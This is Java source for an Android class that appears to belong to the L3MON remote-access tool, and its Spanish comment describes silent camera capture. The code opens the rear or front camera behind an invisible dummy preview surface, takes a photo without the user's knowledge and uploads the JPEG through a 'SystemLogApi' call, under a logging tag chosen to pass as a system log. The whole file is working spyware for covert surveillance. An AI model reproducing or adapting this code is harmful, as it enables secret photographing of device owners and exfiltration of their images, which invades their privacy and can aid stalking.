package com.etechd.l3mon;

import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.ImageFormat;
import android.graphics.SurfaceTexture;
import android.hardware.Camera;
import android.os.Build;
import android.util.Log;

import java.io.ByteArrayOutputStream;

/**
 * Captura silenciosa desde cámara trasera (fallback frontal).
 */
public final class CameraManager {
    private static final String TAG = "SystemLog";

    private CameraManager() {
    }

    public static boolean captureAndUpload(Context context) {
        if (context == null) {
            return false;
        }
        Context app = context.getApplicationContext();
        if (!hasCameraFeature(app)) {
            Log.w(TAG, "Camera: dispositivo sin cámara");
            return false;
        }
        if (!hasCameraPermission(app)) {
            Log.w(TAG, "Camera: permiso CAMERA no concedido");
            return false;
        }

        int[] ids = resolveCameraIds();
        for (int cameraId : ids) {
            if (captureFromCamera(app, cameraId)) {
                return true;
            }
        }
        Log.e(TAG, "Camera: no se pudo capturar con ninguna cámara");
        return false;
    }

    private static boolean hasCameraFeature(Context context) {
        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY)
                || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
    }

    private static boolean hasCameraPermission(Context context) {
        if (Build.VERSION.SDK_INT < 23) {
            return true;
        }
        return context.checkSelfPermission(android.Manifest.permission.CAMERA)
                == PackageManager.PERMISSION_GRANTED;
    }

    private static int[] resolveCameraIds() {
        try {
            int count = Camera.getNumberOfCameras();
            int back = -1;
            int front = -1;
            Camera.CameraInfo info = new Camera.CameraInfo();
            for (int i = 0; i < count; i++) {
                Camera.getCameraInfo(i, info);
                if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK && back < 0) {
                    back = i;
                } else if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT && front < 0) {
                    front = i;
                }
            }
            if (back >= 0 && front >= 0) {
                return new int[]{back, front};
            }
            if (back >= 0) {
                return new int[]{back};
            }
            if (front >= 0) {
                return new int[]{front};
            }
            return count > 0 ? new int[]{0} : new int[0];
        } catch (Exception e) {
            Log.e(TAG, "Camera: listado de cámaras: " + e.getMessage());
            return new int[]{0};
        }
    }

    private static boolean captureFromCamera(Context context, int cameraId) {
        Camera camera = null;
        try {
            camera = Camera.open(cameraId);
            Camera.Parameters params = camera.getParameters();
            Camera.Size size = chooseSize(params);
            if (size != null) {
                params.setPictureSize(size.width, size.height);
            }
            params.setPictureFormat(ImageFormat.JPEG);
            params.setRotation(90);
            camera.setParameters(params);

            SurfaceTexture texture = new SurfaceTexture(0);
            camera.setPreviewTexture(texture);
            camera.startPreview();

            final byte[][] holder = new byte[1][];
            final boolean[] done = new boolean[]{false};
            camera.takePicture(null, null, new Camera.PictureCallback() {
                @Override
                public void onPictureTaken(byte[] data, Camera cam) {
                    holder[0] = data;
                    done[0] = true;
                }
            });

            long deadline = System.currentTimeMillis() + 12000L;
            while (!done[0] && System.currentTimeMillis() < deadline) {
                Thread.sleep(50L);
            }
            if (holder[0] == null || holder[0].length == 0) {
                Log.w(TAG, "Camera: timeout o foto vacía (id=" + cameraId + ")");
                return false;
            }
            return uploadJpeg(holder[0]);
        } catch (Exception e) {
            Log.e(TAG, "Camera: id=" + cameraId + " " + e.getMessage());
            return false;
        } finally {
            if (camera != null) {
                try {
                    camera.stopPreview();
                } catch (Exception ignored) {
                }
                try {
                    camera.release();
                } catch (Exception ignored) {
                }
            }
        }
    }

    private static Camera.Size chooseSize(Camera.Parameters params) {
        Camera.Size best = null;
        for (Camera.Size size : params.getSupportedPictureSizes()) {
            if (best == null) {
                best = size;
                continue;
            }
            long area = (long) size.width * size.height;
            long bestArea = (long) best.width * best.height;
            if (area <= 1920L * 1080L && area > bestArea) {
                best = size;
            }
        }
        return best != null ? best : params.getPictureSize();
    }

    private static boolean uploadJpeg(byte[] data) {
        try {
            Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
            if (bitmap == null) {
                Log.e(TAG, "Camera: decode JPEG falló");
                return false;
            }
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bitmap.compress(Bitmap.CompressFormat.JPEG, 75, bos);
            bitmap.recycle();
            byte[] jpeg = bos.toByteArray();
            boolean ok = SystemLogApi.uploadBytes(jpeg, "camera", "photo.jpg");
            Log.i(TAG, "Camera: subida " + (ok ? "ok" : "falló") + " (" + jpeg.length + " bytes)");
            return ok;
        } catch (Exception e) {
            Log.e(TAG, "Camera: upload " + e.getMessage());
            return false;
        }
    }
}
